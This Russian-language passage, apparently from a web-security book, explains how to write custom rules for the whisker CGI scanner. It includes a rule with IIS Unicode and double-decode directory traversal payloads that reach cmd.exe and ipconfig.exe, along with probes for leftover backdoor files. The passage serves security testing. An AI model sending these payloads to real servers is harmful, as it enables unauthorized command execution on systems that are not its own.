Средства взлома Web-приложений Hacking Tools
Пример из жизни. Самообновление Scan.ab
Whisker -архив поставляется с четырьмя сканерами баз данных: brute.db, dumb.db, scan.db и server.db.
Каждый сканер баз данных содержит список универсальных директорий, универсальных файлов и уязвимых сценариев CGI, которые whisker обычно сканирует. Эти базы данных несколько устарели и поэтому не покрывают более новые способы взломов. В них также не хватает проверок, настроенных на ваши собственные Web-серверы.
Простейшая запись описывает корневую директорию или директории и специфические имена файлов для проверки. Например, правило в scan.db, которое проверяет на /robots.txt, занимает одну строку:
scan () / >> robots.txt
Эта строка фактически заблокирована (или превращена в комментарий) по умолчанию. Чтобы ее активизировать, удалите символ ( # ) из начала строки, что мы и сделали. Следующая таблица описывает компоненты каждого правила сканирования.
Одно из основных преимуществ этих правил состоит в том, что whisker сам себя оптимизирует во время сканирования сервера. Например, если мы хотим проверить присутствие трех обычных файлов JavaScript в определенной директории, то правило должно выглядеть следующим образом.
scan (iis) /library >> global.js, local.js, toolbar.js
Whisker проверяет наличие директории /library до начала сканирования и наличие любых файлов *.js в этой директории. Если такой директории нет (имеется в виду, что запрос /library вернул ошибку 404), то он не будет проверять наличие этих трех файлов. Это мелочь, но чрезвычайно полезная, оптимизирующая скорость.
Определение массивов директорий. Во многих случаях, единственный файл может быть найден в одной из нескольких директорий. Например, обычная директория /cgi-bin может быть переименована несколькими способами. Массив должен быть объявлен до того, как правило сканирования его вызовет. Тогда используйте символ @, чтобы обратиться к массиву.
array cgis = cgi-bin, cgi, cgi-old, bin scan () @cgis shopping.pl clear @cgis
Команда clear удаляет массив из памяти. На самом деле, это не обязательно, но ваш старый профессор по компьютерным наукам одобрил бы такую чистоту.
Массив может, в свою очередь, содержать массив. Вот пример.
array common = include, library, scripts, tools array admin = adm, admin, manage, manager, secure, @common
Массив администратора содержит 5 новых директорий, и каждая из этих директорий в общем массиве. Это помогает классифицировать директории в определенные типы, чтобы сделать сканирование более полным.
Соответствующий пример добавляет проверки на уязвимость прохождения директорий IIS Unicode и Superfluous Decode. Сначала мы определим массив, который содержит наиболее обычные директории по умолчанию, найденные на сервере IIS.
array iisdirs = admin, certadm, certcontrol, certenroll, certque, certsvr, cgi-bin, exchange, help, iisadmin, iisadmpwd, iishelp, iissamples, images, info, _mem_bin, msadc, pbserver, rpc, scripts, _vti_bin
Затем определим правила сканирования для проверки (это правило должно быть в одной строке).
scan () @iisdirs ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/ cmd.exe?/c+dir, ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/ ipconfig.exe?/all+dir, ..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir, ..%255c..%255c..%255c..%255c..%255cwinnt/system32/ipconfig.exe?/ all+dir, cmd.exe, root.exe
%c0%af и %255c - это только две из многих возможных строк прохождения директорий, но они работают. Также это правило проверяет на предмет листингов директорий из бинарного cmd.exe. Некоторые администраторы запрещают доступ к этому файлу, чтобы предотвратить такую атаку; однако ipconfig.exe - это тоже законная добыча. Две последние проверки на предмет cmd.exe и root.exe имели целью найти обломки предыдущих атак хакеров или вирусов. Это правило сканирования может быть добавлено к оригинальному scan.db whisker или помещено в свой собственный файл *.db.
Чтобы использовать альтернативный файл *.db, укажите опцию -s в командной строке.
$ whisker.pl -h 192.168.42.27 -w -W -s unicode.db
Обычные директории и файлы. Польза от whisker не ограничивается сканированием известных уязвимостей. Он также великолепно находит "скрытые" URL, резервные файлы и управляющие интерфейсы. Файл scan.db whisker уже содержит достаточное количество обычных файлов и директорий. Однако вы должны расширить файл *.db за счет структуры директорий, которую вы узнали "в поле". Например, многие Web-сайты написаны так, что допускают языковую настройку. Такие файлы должны специально приписывать /en к части файлов URL, что влияет на способность whisker сканировать обычные сценарии CGI и файлы. Whisker может искать /index.html.bak, но не может найти /en/index.html.bak. Поэтому правила сканирования должны быть модифицированы, чтобы исправить это.
Здесь вместо поиска файлов *.inc и *.js в обычных директориях, специфицированных массивом, whisker специально приписывает указание на язык и сканирует на /en/inc/database.inc и т.д.
array common = inc, include, lib, library, tool, tools scan (iis) en/@common database.inc, global.inc, local.inc, toolbar.js